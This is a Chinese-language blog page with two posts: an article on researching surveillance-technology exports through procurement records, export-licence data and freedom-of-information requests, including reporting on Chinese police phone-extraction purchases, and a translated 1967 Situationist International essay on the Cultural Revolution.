由于过度的所谓“国家安全”和监视公司的保密性，获取有关销售和出口的信息非常困难，因此只能依赖于我们介绍给过的诸多调查研究技术、信息自由法案下的请求、内部文件泄漏和政府举报人。但后者如今变得越来越困难了，比如在美国，奥巴马政府八年内逮捕的举报人是他所有前任的总合还多，并且如今的特朗普政府看起来仍在延续这一逮捕判刑的措施，就在上周，第一个将内部文件提供给媒体以警告俄罗斯预计在大选前攻击选举系统的举报人，被判刑。

所有以美国为参照模版的国家都将效仿这种政府保密措施，对揭露黑幕的人予以严惩。其结果就是为更多国家的政治揭黑调查造成严重的障碍。

由于政治透明度越来越低，目前此处的开源调查只能使用 SII，它旨在通过提供公司信息帮助研究人员获取数据; 使用这种方法也可以进行进一步的研究，例如依照信息自由法案提交请求，虽然有难度，而且耗时。有一些一般信息可以在政府报告中找到。

信息自由法案听起来不错，但也不是万能的。许多二战后美国进行心理战的详细文件一直以来尘封于世，属于绝密文件受特殊法律保护，无法通过信息自由法案或任何正常渠道获得解密。直到国会对水门事件的调查才让一些实施心理战的神秘机构首次露出冰山一角。

一些国家，例如印度，公布了有关进口和出口的运输数据。在此数据中搜索监控公司名称（在 SII 中可用），或者使用监控行业常用的行业术语，可以找到进口监控设备。

「图」

「图」

运往印度的进口数据可在多个站点上获取（这一示例来自这里）

政府采购数据是查找销售监视技术相关信息的最佳开源之一。除了机构专用网站上的招标文件外，还有集中的政府采购网站，但更多可深入调查的细节往往受到限制。公司、监视产品和功能可以在 SII 中找到：例如，搜索特定的监控公司或设备类型有时会能检索相关数据。

「图」

「图」

美国联邦采购网站，显示了一家名为 SS8 的提供拦截电信网络的监控公司，与美国驻巴哈马大使馆之间的合同。

通过在网站上搜索特定公司或政府部门，可以找到有关美国政府合同的信息。

同样，欧盟在其网站 TED 上公布的采购数据，此搜索可显示欧盟面部识别技术的合同。

「图」

「图」

来自TED的采购数据匹配面部识别搜索

一些国家还公布了可公开获得的采购数据，例如孟加拉国国家采购点，此处显示各种监测设备的各种招标通知。

以下是孟加拉国“快速行动营”的招标通知，这是一个臭名昭着的安全机构，因其滥用职权而被称为“死亡小组”。

「图」

「图」

“死亡小组”孟加拉国快速行动营的招标通知

导出控制数据

大多数大型武器出口国都有一个出口管制系统，这使得公司有法律义务在出口物品之前寻求政府的事先许可。

政府通常决定哪些项目需要通过国际机制加以控制，例如 Wassenaar Arrangement，规定参与国决定应该控制哪些军事和“双重用途”项目。目前列表中有几个监视项目，这意味着参与国也控制其出口。每个项目在清单上都有一个代码，各国也在其国家控制清单中使用; 该清单是公开的，附件中列出了最相关的类别。

其中一些国家随后公开报告了他们批准或拒绝了哪些许可，这意味着可以获得有关哪些出口公司寻求许可的数据。因此，这些数据提供了监视技术出口的详细信息。根据数据量显示，它可以提供有关监视技术公司、产品、出口价值以及产品最终用户的信息。

例如，瑞士每个季度都会在出口管制机构的网页上公布数据，但在提供有关该国公司或最终用户的信息方面做得不够。英国每个季度都会在一个专用平台上发布数据，但该平台太特殊了且难以解释。“反武器贸易运动：组织开发了一种资源，简化了这一步骤，可在其网站上公开获取。斯德哥尔摩国际和平研究所列出了所有在其网站上提供有关出口的公开信息的国家。

「图」

「图」

英国出口许可数据显示土耳其执法机构获得了许可的批准

其他数据来自临时议会审查; 例如，德国于 2015 年进行了一次审查，提供了德国所有类别的出口信息，部分信息可被解释为有利于监测。

然而，大多数国家，包括许多监视公司所在地的国家，如法国，德国，以色列，意大利和瑞典，都没有提供足够详细的信息，无法了解出口的设备类型。它们要么根本不提供任何数据（即使在欧盟通常对军用和军民双用设备出口采取更多透明度措施的情况下，28个成员国中有11个国家在记者询问时拒绝提供任何细节），或者当局只提供一般统计数据。

然而，利用信息自由法案请求，部分记者获得了有关出口的信息。

- 例如，主板已成功获得向英国出口管理机构申请出口许可证的公司名单，并绘制了英国的出口图。
- SpyTechExports 获得了有关来自美国、英国和其他地方的秘密监听设备出口的数据。
- BBC 和 Information Dagbladet 已经能够从丹麦获得出口许可证文件的副本，证实了 BAE Systems 在向世界各地的专制国家销售互联网监控设备方面所发挥的作用。
- 计算机周刊还能够获得英国政府的内部通信，显示不同的政府部门如何评估许可申请，并确认在英国签署将 IMSI Catcher 出口到马其顿的代理商的许可时缺乏合适的风险分析，随后导致2万名活动家、政治家和记者"遭到大规模窃听"。
- Telerama 已经能够获得有关在中东和北非销售大规模互联网监控设备的法国监控公司的数据。
- 芬兰政府提供了有关电信拦截设备出口的详细信息，以响应 Privacy International 提出的信息自由要求。

但是，通过此类请求获取信息很困难，并且取决于有关机构的限制性政策。直接装备国外同行的情报机构的行为，比如在英国等一些国家，会完全置身于任何信息自由立法案之外。

世界各地的隐私权国际组织和其他非政府组织一直呼吁欧盟通过具有约束力的立法，而不是依赖此类披露，使欧盟强制要求监视技术出口的透明度报告—希望能在 2019 年的下一次欧洲议会选举之前通过。根据欧盟立法者准备采取的措施，最终要追求监视出口商、产品和最

终用户的信息定期公开发布。

这些改革的通过是很重要的; 透明度不仅对于提供有关监视技术行业和贸易的信息非常重要，而且对于解决腐败问题也至关重要，这也是民主的必要条件：这些决定是在政府政策的基础上作出的。如果监督机构—议会和公众不知道这些决定是什么，他们就无法知道政策是否得到了遵守，更不用说政策本身是否是人民的民主意愿。

> 虽然威权政府继续保密，并且随着更民主的政府继续使用过于宽泛的所谓“国家安全”定义并优先考虑公司保密，世界各地的研究人员也都应该寻找和揭露监控技术的转移。否则只能看到监视技术被用来剥夺人民的权利，进一步推动威权主义以破坏民主。

附：目前在国际出口管制清单内的监测项目——

“5.A.1.f 移动电信拦截或干扰设备及其监控设备，如下所述，以及为此专门设计的部件”

这包括诸如“ IMSI 捕手 ”之类的项目，它们可以定位、跟踪和拦截特定区域内所有移动电话的通信，以及卫星电话拦截设备。

「图」

「图」

总部位于芬兰的 EXFO 向世界各地出口 IMSI捕手，包括向人权活动家进行电子监视的专制国家

“5.A.1.j IP 网络通信监视系统或设备，以及为此专门设计的组件”

这包括大规模的互联网监控工具，例如 BAE Systems 出口到世界各地的威权国家的工具。

「图」

「图」

由 BAE Systems 收购的丹麦公司 ETI 生产的互联网监控系统

“4.A.5 为”入侵软件“的生成、指挥和控制或交付而特别设计或修改的系统、设备及其组件

这可以包括用于控制监视黑客操作中使用的恶意软件的系统，其能够攻击设备以访问所有可用数据和控制功能，例如相机和麦克风。各国也可以使用此类别来控制对保护隐私至关重要的活动，例如 IT 安全研究（PI 和其他非政府组织正在迫使当局更新此类别以保护 IT 研究）。

「图」

「图」

这就是那个臭名昭著的 NSO 集团，一家价值 10 亿美元的监控技术公司，向世界各地的客户销售用于监控的恶意软件，针对人权维护者和记者

“6.A.5.G ‘激光声学检测设备’”

通常被称为激光麦克风，可用于例如通过利用窗户来监听对话。我们在这篇"《反侦察技巧》"补充的文章中简单介绍过这东西，以及抵御它的方法。

「图」

「图」

由立陶宛监控公司 Tigbis 出售的激光麦克风

“5.A.2”“信息监控”系统，设备和部件如下……“

就如在《监视之恶》系列中我们指出过的，各国还控制抵抗监视技术的加密技术的出口，与此同时却不控制监视技术的出口。密码学对于保护数据免受犯罪集团的侵害至关重要，现在更加重要，因为我们的设备以及持有我们信息的公司和政府会生成和储存更多数据。虽然这个类别自 90 年代以来已经大大淡化（就是在密码朋克兴起并发动加密战争的时期），但它仍然控制着广泛的项目，包括一些可以用于监视的项目，并且没有明确列在任何其他类别中，也就是说无法查找。

“ML11.A 电子系统或设备，设计用于军事情报或安全目的监视和监测电磁频谱，或用于抵制此类监视和监视的技术”

与加密技术类似，此类别控制“专门为军事用途设计”的各种设备，包括例如红外或热成像监视设备、和军用监视飞机。（这里我们曾经介绍过抵制前者监视的方法）

“9.A.12” 无人驾驶飞行器“（”无人机“）、无人驾驶”飞艇“，相关设备及部件，如下”

此类别控制无人机或浮空器，这些无人机或无人机设计为能够在某些性能水平之外飞行。无人机可配备先进的持久性空中监视系统，可以一次多小时监视地面上的移动，以及可用于监视移动电话通信的电子信号拦截设备。手机使用产生的数据被用于暗杀无人机瞄准地面上的人。（这篇文章中可以看到更多介绍，和中国对此技术的使用）

「图」

「图」

BAE Systems 向美国陆军出售信号监测设备

此前我们编译过中国的监视技术向俄罗斯出口的消息：俄罗斯调查委员从美亚柏科采购取证魔方去检测和解码消息应用 Telegram、Skype 和 Viber 等的存档。根据政府采购文件，调查委员会上个月在采购取证魔方上花了 500 万卢布。（我们三年多前介绍过“美亚柏科”，这个中国互联网监视技术生产商，你可以在这里看到）

取证魔方能破解 Android OS 和 iOS，自动提取设备 ID，包括用户名，电子邮件和电话号码。它还能获取社交网络 Facebook 和 Twitter 的数据。取证魔方解码的是 Telegram 的普通消息，而非启用端对端加密的加密消息。

关于中国国内，已经有数据显示，自2016年初以来几乎每个省份的警察局都试图购买智能手机数据提取技术，同时内部安全支出大幅增加，全力以赴为打击异议。这些文件提供了一个罕见的一瞥，当政府压制不同意见时，中国努力推动使用高科技监控工具武装安全部队。

扫描仪是手持式或桌面式设备，可以入侵智能手机，提取和分析联系人列表，照片，视频，社交媒体帖子和电子邮件等。手持设备还允许警察快速窃听街道上的电话内容。被揭露的数据包括来自33个省份，地区和直辖市中的32个、171个警察局的监视请求，似乎只显示了总支出的一部分。

该数据显示，自2016年初以来，这种监视设备的预算或支出超过1.29亿元（1900万美元），数量在2017年和2018年再次加速。上海的监视技术预算约为60万元人民币，用于购买手机扫描仪和数据抓取工具。

据称全国各地的警察局都可以查询和提取电子设备扫描数据的集中存储库，“几乎每个派出所都有这种入侵设备……根据今年早些时候在北京举行的警察技术展览会上看到的价格，中国制造的设备成本仅为1万元人民币，而其他设备成本则高达数十万元人民币。

需要提醒注意的是：采购文件显示，一些警察局要求提供工具，可以从**Twitter**，**Facebook** 及其**WhatsApp**聊天服务，**Alphabet Inc**（**GOOGL.O**）谷歌 **Chrome**浏览器上的用户帐户中提取数据，还有日本的 **Line** 消息平台。

该文件称，“基本数据收集功能”必须包括“手机密码，通讯录，通话记录，短信记录，彩信，图片，音频和视频数据，日历，备忘录和移动应用数据”。其他被列出的工具可能会破坏知名智能手机品牌，如三星电子，黑莓，中国自己的小米和华为，以及对苹果 iPhone 的暴力破解。三星，黑莓，小米和华为没有回应置评请求。苹果拒绝发表评论。

2017年，中国在国内维稳方面的支出约为**1.24**万亿元，占政府总支出的**6.1**％，超过军费支出。在北京新疆等地区，内部安全预算（其中监控技术的部分）已经翻了一番。在北京科技区的一个狭窄的培训中心里，工程师展示了一台这样的机器：灰色的鞋盒大小，它可以从三星智能手机中提取数据。

该扫描仪由以色列公司 Cellebrite 制造，但中国厦门美亚柏科、海信科技和 Pwnzen Infotech 等公司也在中国广泛使用。这种技术有望破解大多数智能手机，包括 iPhone。

没有理由相信中国的监视技术除了向俄罗斯出口之外不会再向其他国家出口，事实上我们在早前的报道中已经介绍过：中国公司向玻利维亚、委内瑞拉和厄瓜多尔提供监控技术能力。在厄瓜多尔，中国电子公司向该国 24 个省提供了监视摄像头网络—— 包括一些配备面部识别功能的摄像头、以及一个定位和识别手机的系统。

尤其是被“一带一路”计划带动的有可能是大面积的输出，令人焦虑。

并且需要重点提醒的是：中国是多家提供电话破解服务和取证软件的公司的所在地，而不仅仅是 "Cellebrite 和 Grayshift"，尽管这两者最出名的是向美国执法部门出售技术。电话破解在中国并非必不可少，大多数公民在被要求时会及时交出密码，以免于被拘押。

值得注意的不只有技术。这种技术无处不在。除了全面的面部识别和

其他生物识别跟踪外，美国执法部门还可以获得大部分内容，板式读卡器、取证设备、众多执法数据库、社交媒体跟踪软件……这些都已经在使用中。中国也一样。

中国部署的大部分内容都是以所谓的“安全”名义进行的。这与911事件后美国建立的大规模监视设备的理由相同。极权主义国家的框架已经到位。美国与中国区别的唯一因素是美国的宪法权利，但斯诺登提供的文件显示，大面积违宪行为是如此的普遍和深远。

「图」

「图」

对政府和情报部门违宪的监控行为深感失望的美国网友们

目前为止没有关于中国的更多消息了。虽然“信息自由法案”不怎么好用，但中国彻底没有；虽然部分中国人已经明白，透明度革命是当下几乎唯一的选择，但是中国没有 **Snowden** 和 **Wikileaks** 的精神；虽然中国有很专业的黑客，但目前为止还没有具备这一层面上的正义感的行动者。于是当局可以保持封闭，一切都无从知晓（我们怀疑俄罗斯监视设备的购买是俄罗斯方面有意透露的，参见这里：关于中俄军事关系的升级分析）

所以，关于“怎么办”的答案就在上述。〇

原文

在中国：意识形态的爆炸点 - iyouport

免费书和纪录片关于中国社会长读

意识形态，被推到极致就会破碎。它的绝对使用就是它的绝对无用 ……

这是*2021*年，中国……

【按】这里是情境主义国际 (Situationist International)1967年的文章，现在是2021年，但您能看到，这篇半个多世纪前的旧文就能超越当下大多数互联网政治分析。这说明什么问题？

情境主义国际是一个由先锋派艺术家、知识分子和政治理论家组成的国际组织。该组织成立于1957年，主要活动于欧洲。该组织被认为是对欧洲现当代先锋艺术和激进哲学语话具有重要影响的思想母体。

请注意：这篇文章发表于**1967**年**8**月，也就是中国文革爆发的第二年。它最初以小册子的形式分发；后于当年10月转载于 “情境主义国际” 第11期（巴黎，1967年10月），原标题为 “Le point d’explosion de l’idéologie en Chine”。

我们上传了《情境主义国际文集》，和相关可参考的另一本书《主席的新装：毛泽东与文化大革命》；以及 Ken Knabb 的 “Public Secrets”，Ken Knabb 曾翻译过居伊·德博 (《景观社会》的作者)和情境主义国际的许多作品。这本书是他自己30年来的著作的综合集锦。

我们始终相信人类的智慧和理解能力可以也应该不断进步，并期待互联网内容市场至少能超越50多年前的小册子。

您可以在这里下载这三本书：https://www.patreon.com/posts/zai-zhong-guo-yi-49700098

极权主义官僚的国际联合体已经完全崩溃了。用情境主义1965年7月在阿尔及尔发表的《讲话》中的观点来说就是，“官僚主义的谎言” 与整个资本主义社会相对应的所谓 “革命形象” 由于它的假正统和实际

支持已经明显地崩溃了，而且首先是在官方资本主义对维护其对手的伪装最感兴趣的地形上，即：资产阶级与所谓的“社会主义阵营”的全球对抗。这个阵营在任何情况下都不曾是社会主义的；现在，尽管有各种修补它的意图，但它甚至已经不再是一个阵营。

从罗马尼亚到古巴，从意大利到越韩日党派集团，约有20条独立的“路线”共存，这已经体现了斯大林主义整体的瓦解。俄国今年已经不能召开仅有欧洲所有党派组成的联合会议，它宁愿忘记莫斯科统治共产国际的时代。

因此，1966年9月的《消息报》指责中国领导人给“马列主义”思想带来了“空前”的失信，并对“以侮辱代替意见和革命经验交流”的对抗式作风进行了美德的谴责：选择这种方法的人，“把自己的经验赋予绝对的价值，在对马列主义理论的解释中，透露出一种教条主义和宗派主义的心态。这种态度必然伴随着对兄弟党派内部事务的干涉。”

在中苏论战中，每一个强国都被引导着把一切可以想象出来的反无产阶级的罪行归罪于对手，只是有义务不提真正的罪行（官僚的阶级权力），每一方都只能得出一个清醒的结论：对方的革命性只是一个莫名其妙的海市蜃楼，这个海市蜃楼缺乏任何现实性，现在又回到了它的老出发点。

因此，今年2月在新德里，中国大使把勃列日涅夫和柯西金说成是“克里姆林宫的新沙皇”，而这个莫斯科的反中盟友印度政府则发现，“中国现在的主人已经披上了满清的帝国外衣”。

这种对中原新王朝的谴责，在下个月由现代派国家诗人沃兹涅先斯基在莫斯科进一步完善，他唤起了“库楚汗大军”新一轮入侵的威胁，指望“永恒的俄罗斯”筑起一道城墙，抵御“威胁要在卢浮宫的埃及宝藏中露宿的蒙古人”。

【注：安德烈·沃兹涅先斯基(Андре́й Андре́евич Вознесе́нский) 前苏联与俄罗斯诗人，赫鲁晓夫执政后，文学解冻时期涌现的诗人群体中的一员。 沃兹涅先斯基被认为是“苏联时代最勇敢的作家之一”，他的写作风格常常受到同时代批评家的批判，他还曾经面对尼基塔·赫鲁晓夫的流放威胁。 】

官僚意识形态的加速瓦解，在斯大林主义夺取政权的国家和在它失去一切夺取政权机会的其他国家，都很明显，自然是围绕着国际主义问题开始的；但这只是普遍的、不可逆转的瓦解的开端。

对官僚主义来说，国际主义只能是为其现实利益服务的一种虚幻的宣示，是意识形态中的一个理由，因为官僚社会是与无产阶级共同体完全相悖的。官僚权力是建立在占有民族国家的基础上的，它最终必须服从这个现实的逻辑，按照它所占有的国家的发展水平所强加的特殊利益。它的英雄时代随着斯大林通过摧毁1927年中国革命和1937年西班牙革命而维持的“单一国家的社会主义”的意识形态黄金时代而逝去。中国的自主性官僚革命—— 正如前不久在南斯拉夫已经发生的那样 —— 把一种分解的萌芽引入官僚世界的统一体，在不到二十年的时间里就把它分解了。官僚意识形态的总的分解过程，现在在最需要这种意识形态的国家里达到了最高阶段，在这个国家里，由于经济上的普遍落后，革命的剩余意识形态托词不得不被推到了极致：它就是中国。

1966年春天以来，中国不断深化的危机，构成了官僚社会前所未有的现象。俄国和东欧的官僚国家资本主义统治阶级，不断地、必然地对被剥削的多数人施加恐怖，当然它经常会因其所遇到的客观问题以及主观上的狂妄风格（导致完全虚假的力量承担）而产生的竞争和对立所撕裂。

但是到目前为止，官僚制 —— 由于它对经济的占有模式，它必须是集中化的，因为它必须从自己身上汲取所有参与它对社会剩余生产的集体占有的等级保障 —— 总是自上而下地进行清洗。官僚机构的顶峰必须保持固定，因为整个制度的合法性取决于固定的顶峰。它必须把它的异议保留在自己的内部（从列宁和托洛茨基时代起就一直如此）。担任职务的人可以被替换或清算，但职务本身必须始终保持始终一致的无可争议的威严。

那么，无法解释和无法回答的镇压就可以正常地降到系统的每一级，作为对最高层即时决定的东西的执行而已。贝利亚必须首先被杀死，然后被审判，再然后他的派系就可以被追杀，或者说事实上任何人都可以被追杀，因为正在进行清算的权力由此定义了谁是什么和该派系由什么组成，同时也重新定义了自己是唯一的权力。这就是中国没有发生的事。尽管在争夺总权力的斗争中梦幻般地提高了出价，但被宣称的对手仍然坚持不懈，这清楚地表明，统治阶级已经一分为二。

【注：拉夫连季·帕夫洛维奇·贝利亚，格鲁吉亚人，苏联共产党高级领导人，长期担任内务人民委员部首脑。是斯大林大清洗计划的主要执行者之一。斯大林死之后贝利亚马上在权力斗争中败给了赫鲁晓夫和马林科夫，后被撤职并秘密处决。】

如此巨大的社会灾难，显然不能用资产阶级观察家们的轶事风格来解

释为“由于外交政策上的分歧造成的”（相反，中国官僚机构在容忍越南在自己家门口被击溃的侮辱方面是相当一致的）。权力继承的个人争执也不可能导致如此多的风险。当某些领导人被指责为自50年代末以来“不让毛泽东掌权”时，一切都使人相信这是官僚主义大清洗中经常编造的那些追溯性罪行之一—— 托洛茨基奉天皇之命进行内战，季诺维也夫支持列宁为大英帝国效力，等等；只要毛泽东还在，能从毛泽东这样有权势的人手中夺取权力的人就不会睡觉。

如果说官僚国家的统治者和论战者对中国危机的认识肯定要好得多，那么他们的言论就不能再当真了，因为在谈论中国的时候，他们要防止自己暴露得太多。最受蒙蔽的是西方国家的左派残余，他们总是心甘情愿地成为发霉的亚列宁主义宣传的上当者。他们郑重其事地评价继续给那些团结在“共产主义”政权下的资本家发放津贴在中国社会中的作用，或者仔细地审视这场争斗，试图弄清哪位领袖代表真正的激进派或工人自治。他们中最愚蠢的人甚至认为这件事有一些“文化”的东西，直到1月份毛派报刊给他们耍了个肮脏的把戏，承认这“从一开始就是一场权力的斗争”。

唯一严肃的辩论包括研究统治阶级为什么以及如何会分裂成两个敌对的阵营；而对于那些不承认官僚机构是一个统治阶级整体、或者忽视这个阶级的特殊性而把它归结为资产阶级权力的经典条件的人来说，对这个问题的任何调查自然都是不可能的。

关于官僚系统内部为什么会出现裂痕，只能肯定地说，这是一个统治阶级的统治权岌岌可危的问题，因为为了解决这个问题，双方都不会屈服，都不惜立即冒着共同的阶级权力的危险，破坏他们管理社会的一切现有条件。

因此，统治阶级一定知道，它不能再像以前那样进行管理了。毫无疑问，这场冲突涉及到经济的管理，而官僚机构连续的经济政策的崩溃是这场冲突极端尖锐的原因。“大跃进”的失败—— 主要是由于农民的抵制—— 不仅使工业生产的极端唯意志论起飞的前景被终结，而且导致了一场灾难性的混乱，其影响持续了数年之久。即使是农业生产，自1958年以来也几乎没有增加 (粮食供应的增长甚至与人口增长的速度完全不相称)。

要说统治阶级在哪些具体的经济选择上出现了分歧，就不那么容易了。可能一方（由党的大多数机器、工会领导人和经济学家组成）想继续或或多或少地增加消费品的生产，并以经济激励措施来维持工人的努力；这一政策意味着对农民特别是对工厂工人作出一些让步，也意味着增加相当一部分官僚阶层等级分化的消费。另一方（包括毛泽

东和很大一部分高级军官）可能想不惜代价地恢复国家工业化的努力，通过更加极端地诉诸恐怖和意识形态的能量，对工人进行无限制的超额剥削，或许对相当一部分下层官僚机构进行“平均主义”的消费牺牲。

这两种立场都同样是以维持官僚体系的绝对统治为导向的，都是以必须对任何威胁到这种统治的阶级斗争设置障碍来计算的。

无论如何，这种选择的紧迫性和生命力特征对每个人来说都是如此地明显，以至于两个阵营都认为他们必须冒着因他们的分裂的无序性而立即加重他们所处的状况的危险。很有可能，双方的顽固态度是有道理的，因为中国官僚体制中无法克服的问题没有令人满意的解决办法；因此，相互对峙的两种选择同样都是不可行的；然而，必须作出某种选择。

至于要弄清楚官僚体系顶层的分裂如何能够逐级下降 —— 在每一个阶段都重现遥控的对抗，而这些对抗又反过来煽动或加剧了整个政党和国家，以及最后在群众中形成对立 —— 可能有必要考虑到倾向于半自治的省份对中国实行古代管理方式的某些方面的存在。
Bureaucratic Comix [1970]，Situationist International

北平毛派在一月份对“独立领地”的谴责清楚地表明了这一现实，而过去几个月动乱的发展也证实了这一点。在俄国反革命时期，区域自治的官僚权力现象只在列宁格勒组织中得到微弱而零星的表现，但在官僚中国却找到了牢固的、多重的基础，这就很有可能导致在中央政府内部，宗族和组织把整个区域的官僚权力当作自己的私人财产，并在此基础上相互讨价还价。

中国的官僚势力并不是产生于工人运动，而是产生于22年战争中对农民的军事管制。军队一直与党保持着密切的联系，党的领导人也都是军事首长，军队仍然是农民群众的主要培训学校，党从中挑选未来的干部。此外，1949年建立的地方行政机构似乎主要是以由北向南移动的不同军团所走过的地区为基础的，在每个阶段都留下了与这些地区有地缘关系的人（或者说是家族关系：对刘少奇等人的宣传已经充分暴露了官僚集团巩固中的这种裙带关系因素）。因此，这种官僚行政机关内部的半自治权力的地方基础，可能是由征服军的组织结构与它在被征服地区所控制的生产力相结合而形成的。

当毛派以拉拢和灌输学生和学童的方式，开始对对手根深蒂固的阵地进行公开攻势的时候，绝不是为了直接启动对已经被尽可能地挤进政权意识形态束缚中的广大工人的“文化”或“文明”改造【“文化大革

命”与文化无关】。类似对贝多芬的愚蠢抨击，就如对一个明显已经被消灭了的中国资产阶级重新占领或占据权力地位的煽动性谩骂一样，只是为了观众的利益而提出来的 —— 尽管并非没有计算到这种粗暴的极左主义可能会在被压迫者中引起某种共鸣，毕竟他们有某种理由怀疑，在他们的国家里仍然存在着实现一个无阶级的社会的若干障碍。

这次行动的主要目的是使政权的意识形态，按理说是毛泽东思想，出现在街头为这一派服务。由于对手本身除了正式的毛主义之外，不可能有其他的东西了，所以在这个地盘上强加斗争，立即会使他们处于尴尬的境地。它迫使他们进行“自我批评”，然而，这种自我批评的不足，却表达了他们坚守自己控制的阵地的实际决心。

因此，斗争的第一阶段可以说是意识形态的官方所有者与经济和国家机器的大多数所有者的对抗。但是，官僚机构为了维持其对社会的集体占有，既需要意识形态，也需要行政和镇压机器；因此，如果不能迅速解决这种分离的风险，是极其危险的。

大部分的机器，包括刘少奇本人，尽管在北平地位不稳，但还是顽强地进行了抵抗。在他们第一次试图通过在学生中建立有效的反毛派“工作小组”来阻止毛派在大学一级的鼓动之后，这种鼓动蔓延到了所有大城市的街道上，各地都开始通过大字报和打砸抢，攻击那些被指定为“走资派”的官员 —— 这种攻击不无错误，也不乏过激的热情。这些官员在任何可能的地方都组织了抵抗。

工人和“红卫兵”之间的第一次冲突很可能实际上是由工厂里的党的积极分子根据地方官员的命令发起的。但很快，工人们对红卫兵的过激行为感到气愤，开始自行干预。当毛主义者说要把“文化大革命”扩大到工厂，然后再扩大到农村时，他们给自己的感觉是已经决定了一场运动，而这场运动实际上是在他们的计划之外发生的，而且在整个**1966**年秋天完全不受他们控制。

工业生产的下降；交通、灌溉和国家行政管理的混乱（尽管周恩来作出了努力）；秋收和春收的威胁；所有教育的停顿（在一个不发达的国家特别严重）长达一年多 —— 所有这些都是斗争的必然结果，其斗争的扩大完全是由于毛主义者试图压制的官僚机构的抵抗。

毛派分子几乎没有在城市环境中进行斗争的经验，他们将有很好的机会来验证马基雅维利的戒律：“一个人应该注意不要在城市中煽动叛乱，同时想象自己可以随意阻止或指挥它”（《佛罗伦萨史》）。

- 不要错过《我们的马基雅维利时刻》

经过几个月的伪文化伪革命，中国出现了真正的阶级斗争，工农开始为自己行动起来。

工人们不可能不知道毛泽东思想观点对他们意味着什么；农民们看到自己的个人地盘受到威胁，在几个省里开始把“人民公社”（后者只是前期行政单位的新的意识形态打扮，一般对应于旧的县）的土地和设备分给自己。铁路罢工、上海大罢工（和1956年布达佩斯一样，被作为资本家的有利武器）、武汉大工业联合体的罢工、广州的罢工、湖北的罢工、重庆金属和纺织工人的罢工、四川和福建农民的进攻——这些运动在1月达到了高潮，使中国濒临混乱的边缘。

同时，继1966年9月在广西的工人为了打击红卫兵而自发组织“紫卫兵”，在南京的反毛泽东暴动之后，各省的“队伍”开始组建，如关东的“八一军”。国家军队在二月和三月间不得不在各地进行干预，以制服工人，通过对工厂的“军事控制”来指导生产，甚至（在民兵的支持下）控制农村的工作。

工人们为维持或增加工资而进行的斗争 —— 这种被北平主人谴责的“经济主义”倾向 —— 在抵抗敌对的毛派官僚的过程中，被一些地方机关干部所接受甚至鼓励。但斗争的主要动力显然是来自工人阶级的不可抗拒的起义 —— 3月，政权工会第一次解散后形成的“专业协会”也被解散，其官僚机构一直偏离毛泽东路线，就是一个很好的证明。同月，《解放日报》在上海谴责“这些协会的封建倾向，它们不是以阶级为基础（换句话说，不是以毛泽东完全垄断政权为基础），而是以行业为基础成立的，它们为这些行业的工人的局部和眼前利益而斗争。”2月11日，在中央政务院和军委的联合指示中，也鲜明地表达了这种对集体的普遍利益和永久利益的真正所有者的维护：“必须逮捕所有夺取或盗窃武器的分子”。

虽然这场冲突的解决—— 它固然耗费了数万人的生命，而且涉及到装备齐全的兵团甚至军舰—— 被委托给了中国军队，但这支军队本身也是分裂的。它要保证生产的继续和加强，而此时它已经无法保证中国力量的统一。

此外，军队对农民的直接干预将带来最严重的风险，因为它主要是从农民中招募的。毛派在三四月间寻求停战，他们宣布除了“一小撮”叛徒外，所有党的人员都可以赎回，现在的主要威胁是“无政府主义”，这不仅表达了对红卫兵经历在青年中唤醒的解放欲望难以抑制的焦虑，而且，还表达了统治阶级对已经到了自己解体的边缘的焦

虑。

党和中央、省委行政机关正在分崩离析。“必须重新建立劳动纪律”、“必须无条件地谴责排斥和推翻所有干部的思想”（《红旗》1967年3月）。一个月前，“新中国”宣布“你砸烂了所有的官员……但当你接管了一些行政机构，除了一间空屋子和一些橡皮图章之外，你还有什么？”改造和新的妥协不稳定地接踵而至。官僚机构的生存具有终极优先权，只是将其多样的政治选择推到了后面。

到1967年春，“文化大革命”显然已经是一场灾难性的失败，而这场失败无疑是中国官僚政权一长串失败中最巨大的一次。

尽管这次行动付出了超常的代价，但其所有目标都没有达到。官僚体系比以往任何时候都更加分裂。在毛派把持的地区，每配置一个新的权力，都在轮流分裂：“革命三联”—— 军队-党-红卫兵—— 一直没有停止分崩离析，这既是因为这三股力量之间的对立（尤其是党，倾向于保持冷漠，介入只是为了破坏另外两股力量），也是因为每一股力量内部的对立都在不断加剧。要修补旧的机器，似乎和建立新的机器一样困难。最重要的是，中国至少有三分之二的土地绝不是北平政权所能控制的。

除了刘少奇的政府委员会和继续坚持自己的工人斗争运动外，军阀们已经重新穿上独立的“共产党”将军的军装，直接与中央政权谈判，奉行自己的政策，特别是在外围地区。

2月西藏主帅张国华将军在拉萨街头战斗后用装甲车对付毛派。三个毛派师被派去“讨伐修正主义者”。由于4月张国华仍控制着该地区，他们似乎收效有限。

5月1日，他在北京受到接见，谈判以妥协告终：他受托组建一个革命委员会来治理四川，4月份，受某将军影响的“革命联盟”夺取了政权，囚禁了毛派分子；此后，6月份，一个人民公社的成员夺取了武器，袭击了军队。在内蒙古，军队在副政委刘峙的指挥下，于2月宣布反毛。

同样的事也发生在河北、红安和满洲里。5月，赵将军在甘肃进行了反毛泽东政变。新乡3月在王恩茂将军的授意下，经双方协议而中和；但据说后者在6月袭击了“毛派革命者”。湖北在7月被中国最古老的工业中心之一的武汉地区司令员陈再道将军所掌握。他以“西安事变”的旧式，逮捕了前来与他谈判的两位北平主要领导人。总理不得不亲自前往，将他的使者获得释放被宣布为“胜利”。

同期，该省有2400家厂矿在5万工农武装起义后陷入瘫痪。夏初，各地的冲突实际上还在继续。6月，红安的“保守派工人”用燃烧弹袭击了一家纺织厂。7月，抚顺的煤矿工人和大兴的石油工人在罢工，江西的矿工在驱赶毛派，有人号召与“长江工业军”（被描述为“反马克思主义的恐怖组织”）进行斗争，农民威胁要向南京和上海进军，广州和重庆发生了街头战斗，桂阳的学生袭击了军队，并抓住了毛派领导人。政府决定在“中央控制的地区”禁止暴力，但似乎在那里也很难做到。它无法阻止这些乱象，就通过驱逐大部分外国人来阻止这些乱象消息的传播。

但到了8月初，军队中的裂变已经非常危险，北平官方刊物自己也在揭露，刘的游击队“企图在军队内部建立一个独立的反动的资产阶级王国”，“对中国无产阶级专政的攻击不仅来自上层，而且来自下层”（《人民日报》8月5日）。

北平竟然公开承认，至少有三分之一的军队已经宣布与中央政府对立，甚至十八省的旧中国有很大一部分已经脱离了它的控制。武汉事件的直接后果似乎是非常严重的：来自北京的伞兵被击退；据说武汉兵工厂的武器也被送到了重庆的反毛派手中。此外，需要指出的是，武汉部队属于林彪直接管辖的集团军，是唯一被认为完全忠诚的军队。

